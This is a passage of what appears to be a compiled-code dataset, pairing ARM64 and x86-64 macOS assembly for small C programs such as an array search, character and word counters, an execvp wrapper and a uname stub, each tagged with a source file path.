LBB1_11: ; in Loop: Header=BB1_9 Depth=1
ldr w8, [x19, #64]
add w8, w8, #1
str w8, [x19, #64]
b LBB1_9
LBB1_12:
str wzr, [x19, #68]
ldr x8, [x19, #48]
mov sp, x8
ldr w8, [x19, #68]
str w8, [x19, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_14
b LBB1_13
LBB1_13:
bl ___stack_chk_fail
LBB1_14:
ldr w0, [x19, #4] ; 4-byte Folded Reload
sub sp, x29, #16
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _search ## -- Begin function search
.p2align 4, 0x90
_search: ## @search
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movl %esi, -20(%rbp)
movl %edx, -24(%rbp)
movl $0, -28(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -20(%rbp), %eax
jge LBB0_5
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -28(%rbp), %rcx
movl (%rax,%rcx,4), %eax
cmpl -24(%rbp), %eax
jne LBB0_4
## %bb.3:
movl -28(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB0_6
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_1
LBB0_5:
movl $0, -4(%rbp)
LBB0_6:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $880, %rsp ## imm = 0x370
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -820(%rbp)
movl $0, -824(%rbp)
movl $100, -828(%rbp)
movl $0, -824(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -824(%rbp), %eax
cmpl -828(%rbp), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movslq -824(%rbp), %rax
leaq -416(%rbp), %rsi
shlq $2, %rax
addq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
movslq -824(%rbp), %rax
leaq -816(%rbp), %rsi
shlq $2, %rax
addq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -824(%rbp), %eax
addl $1, %eax
movl %eax, -824(%rbp)
jmp LBB1_1
LBB1_4:
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -832(%rbp), %rsi
callq _scanf
movl -832(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -872(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -840(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -872(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -864(%rbp) ## 8-byte Spill
movq %rax, -848(%rbp)
movl $0, -824(%rbp)
LBB1_5: ## =>This Inner Loop Header: Depth=1
movl -824(%rbp), %eax
cmpl -832(%rbp), %eax
jge LBB1_8
## %bb.6: ## in Loop: Header=BB1_5 Depth=1
movq -864(%rbp), %rsi ## 8-byte Reload
movslq -824(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.7: ## in Loop: Header=BB1_5 Depth=1
movl -824(%rbp), %eax
addl $1, %eax
movl %eax, -824(%rbp)
jmp LBB1_5
LBB1_8:
movl $0, -824(%rbp)
LBB1_9: ## =>This Inner Loop Header: Depth=1
movl -824(%rbp), %eax
cmpl -832(%rbp), %eax
jge LBB1_12
## %bb.10: ## in Loop: Header=BB1_9 Depth=1
movq -864(%rbp), %rax ## 8-byte Reload
leaq -816(%rbp), %rdi
movl -828(%rbp), %esi
movslq -824(%rbp), %rcx
movl (%rax,%rcx,4), %edx
callq _search
movl %eax, -852(%rbp)
movslq -852(%rbp), %rax
movl -416(%rbp,%rax,4), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
## %bb.11: ## in Loop: Header=BB1_9 Depth=1
movl -824(%rbp), %eax
addl $1, %eax
movl %eax, -824(%rbp)
jmp LBB1_9
LBB1_12:
movl $0, -820(%rbp)
movq -840(%rbp), %rax
movq %rax, %rsp
movl -820(%rbp), %eax
movl %eax, -876(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_14
## %bb.13:
movl -876(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB1_14:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/266746.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur wzr, [x29, #-8]
stur wzr, [x29, #-12]
str wzr, [sp, #16]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x0, [x8]
bl _fgetc
stur w0, [x29, #-8]
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
ldur w8, [x29, #-8]
str w8, [sp, #12] ; 4-byte Folded Spill
subs w8, w8, #40
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12] ; 4-byte Folded Reload
subs w8, w8, #41
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_6
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_7
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #1
stur w8, [x29, #-12]
b LBB0_7
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
b LBB0_10
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_10:
ldr w9, [sp, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $0, -8(%rbp)
movl $0, -12(%rbp)
movl $0, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fgetc
movl %eax, -8(%rbp)
cmpl $-1, %eax
je LBB0_9
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
incl %eax
movl %eax, -16(%rbp)
movl -8(%rbp), %eax
movl %eax, -20(%rbp) ## 4-byte Spill
subl $40, %eax
je LBB0_3
jmp LBB0_10
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax ## 4-byte Reload
subl $41, %eax
je LBB0_4
jmp LBB0_5
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_6
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $-1, %eax
movl %eax, -12(%rbp)
jmp LBB0_6
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_6
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
cmpl $-1, -12(%rbp)
jne LBB0_8
## %bb.7:
jmp LBB0_9
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_9:
movl -16(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/108227.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
mov x8, x0
mov w0, #0
str wzr, [sp, #28]
str w8, [sp, #24]
str x1, [sp, #16]
ldr w8, [sp, #12]
str w8, [sp, #8]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl -20(%rbp), %eax
movl %eax, -24(%rbp)
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/88892.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ; -- Begin function foo
.p2align 2
_foo: ; @foo
.cfi_startproc
; %bb.0:
sub sp, sp, #448
.cfi_def_cfa_offset 448
stp x28, x27, [sp, #416] ; 16-byte Folded Spill
stp x29, x30, [sp, #432] ; 16-byte Folded Spill
add x29, sp, #432
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #4]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #4]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_10
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldrsw x10, [sp, #4]
add x9, sp, #8
mov w8, #0
str w8, [x9, x10, lsl #2]
bl _f
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_8
LBB0_6: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #4]
ldr w9, [sp]
add w8, w8, w9
ldrsw x10, [sp, #4]
add x9, sp, #8
str w8, [x9, x10, lsl #2]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp]
add w8, w8, #1
str w8, [sp]
b LBB0_3
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB0_1
LBB0_10:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
bl ___stack_chk_fail
LBB0_12:
ldp x29, x30, [sp, #432] ; 16-byte Folded Reload
ldp x28, x27, [sp, #416] ; 16-byte Folded Reload
add sp, sp, #448
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ## -- Begin function foo
.p2align 4, 0x90
_foo: ## @foo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $432, %rsp ## imm = 0x1B0
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -420(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $100, -420(%rbp)
jge LBB0_10
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -424(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $100, -424(%rbp)
jge LBB0_8
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movslq -420(%rbp), %rax
movl $0, -416(%rbp,%rax,4)
movb $0, %al
callq _f
cmpl $0, %eax
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_8
LBB0_6: ## in Loop: Header=BB0_3 Depth=2
movl -420(%rbp), %ecx
addl -424(%rbp), %ecx
movslq -420(%rbp), %rax
movl %ecx, -416(%rbp,%rax,4)
## %bb.7: ## in Loop: Header=BB0_3 Depth=2
movl -424(%rbp), %eax
addl $1, %eax
movl %eax, -424(%rbp)
jmp LBB0_3
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
movl -420(%rbp), %eax
addl $1, %eax
movl %eax, -420(%rbp)
jmp LBB0_1
LBB0_10:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_12
## %bb.11:
addq $432, %rsp ## imm = 0x1B0
popq %rbp
retq
LBB0_12:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/305022.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _execvp ; -- Begin function execvp
.p2align 2
_execvp: ; @execvp
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #16]
str x1, [sp, #8]
ldr x0, [sp, #16]
ldr x1, [sp, #8]
adrp x8, _environ@GOTPAGE
ldr x8, [x8, _environ@GOTPAGEOFF]
ldr x2, [x8]
bl _execve
bl ___error
ldr w8, [x0]
subs w8, w8, #8
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, l___const.execvp.sh@PAGE
add x8, x8, l___const.execvp.sh@PAGEOFF
ldr x8, [x8]
sub x0, x29, #16
stur x8, [x29, #-16]
ldr x1, [sp, #8]
adrp x8, _environ@GOTPAGE
ldr x8, [x8, _environ@GOTPAGEOFF]
ldr x2, [x8]
bl _execve
stur w0, [x29, #-20]
b LBB0_3
LBB0_2:
mov w8, #-1
stur w8, [x29, #-20]
b LBB0_3
LBB0_3:
ldur w8, [x29, #-20]
str w8, [sp, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
bl ___stack_chk_fail
LBB0_5:
ldr w0, [sp, #4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l___const.execvp.sh: ; @__const.execvp.sh
.asciz "/bin/sh"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _execvp ## -- Begin function execvp
.p2align 4, 0x90
_execvp: ## @execvp
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -32(%rbp)
movq %rsi, -40(%rbp)
movq -32(%rbp), %rdi
movq -40(%rbp), %rsi
movq _environ@GOTPCREL(%rip), %rax
movq (%rax), %rdx
callq _execve
callq ___error
cmpl $8, (%rax)
jne LBB0_2
## %bb.1:
movq L___const.execvp.sh(%rip), %rax
movq %rax, -16(%rbp)
leaq -16(%rbp), %rdi
movq -40(%rbp), %rsi
movq _environ@GOTPCREL(%rip), %rax
movq (%rax), %rdx
callq _execve
movl %eax, -20(%rbp)
jmp LBB0_3
LBB0_2:
movl $-1, -20(%rbp)
LBB0_3:
movl -20(%rbp), %eax
movl %eax, -44(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_5
## %bb.4:
movl -44(%rbp), %eax ## 4-byte Reload
addq $48, %rsp
popq %rbp
retq
LBB0_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L___const.execvp.sh: ## @__const.execvp.sh
.asciz "/bin/sh"
.subsections_via_symbols
| the_stack_data/1150538.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _uname ; -- Begin function uname
.p2align 2
_uname: ; @uname
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
mov w1, #0
str w1, [sp, #4] ; 4-byte Folded Spill
mov x2, #1280
mov x3, #-1
bl ___memset_chk
ldr w2, [sp, #4] ; 4-byte Folded Reload
ldr x0, [sp, #8]
mov x3, #256
mov x1, x3
adrp x4, l_.str@PAGE
add x4, x4, l_.str@PAGEOFF
bl ___snprintf_chk
ldr w0, [sp, #4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "NaCl"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _uname ## -- Begin function uname
.p2align 4, 0x90
_uname: ## @uname
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
xorl %esi, %esi
movl $1280, %edx ## imm = 0x500
movq $-1, %rcx
callq ___memset_chk
movq -8(%rbp), %rdi
movl $256, %ecx ## imm = 0x100
xorl %edx, %edx
leaq L_.str(%rip), %r8
movq %rcx, %rsi
movb $0, %al
callq ___snprintf_chk
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "NaCl"
.subsections_via_symbols
| the_stack_data/225144546.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
str wzr, [sp, #24]
stur wzr, [x29, #-20]
stur wzr, [x29, #-16]
stur wzr, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
bl _getchar
stur w0, [x29, #-8]
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
ldur w8, [x29, #-8]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #32
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #10
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #9
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #24]
b LBB0_11
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #24]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
str w8, [sp, #24]
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_12:
ldur w8, [x29, #-12]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-16]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d %d %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $0, -24(%rbp)
movl $0, -20(%rbp)
movl $0, -16(%rbp)
movl $0, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
callq _getchar
movl %eax, -8(%rbp)
cmpl $-1, %eax
je LBB0_12
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
cmpl $10, -8(%rbp)
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
cmpl $32, -8(%rbp)
je LBB0_7
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
cmpl $10, -8(%rbp)
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_1 Depth=1
cmpl $9, -8(%rbp)
jne LBB0_8
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl $0, -24(%rbp)
jmp LBB0_11
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
cmpl $0, -24(%rbp)
jne LBB0_10
## %bb.9: ## in Loop: Header=BB0_1 Depth=1
movl $1, -24(%rbp)
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_11
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_12:
movl -12(%rbp), %esi
movl -16(%rbp), %edx
movl -20(%rbp), %ecx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d %d %d\n"
.subsections_via_symbols
| the_stack_data/67325594.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w0, #0
str wzr, [sp, #12]
; InlineAsm Start
main_label:
.globl main_label
; InlineAsm End
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _f ; -- Begin function f
.p2align 2
_f: ; @f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
; InlineAsm Start
.globl f_end_lbl
f_end_lbl:
; InlineAsm End
mov w0, #0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _g ; -- Begin function g
.p2align 2
_g: ; @g
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
; InlineAsm Start
.globl g_end_lbl
g_end_lbl:
; InlineAsm End
mov w0, #0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
## InlineAsm Start
main_label:
.globl main_label
## InlineAsm End
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f ## -- Begin function f
.p2align 4, 0x90
_f: ## @f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
## InlineAsm Start
.globl f_end_lbl
f_end_lbl:
## InlineAsm End
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _g ## -- Begin function g
.p2align 4, 0x90
_g: ## @g
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
## InlineAsm Start
.globl g_end_lbl
g_end_lbl:
## InlineAsm End
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/26700266.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _sizeofList ; -- Begin function sizeofList
.p2align 2
_sizeofList: ; @sizeofList
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, #12]
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
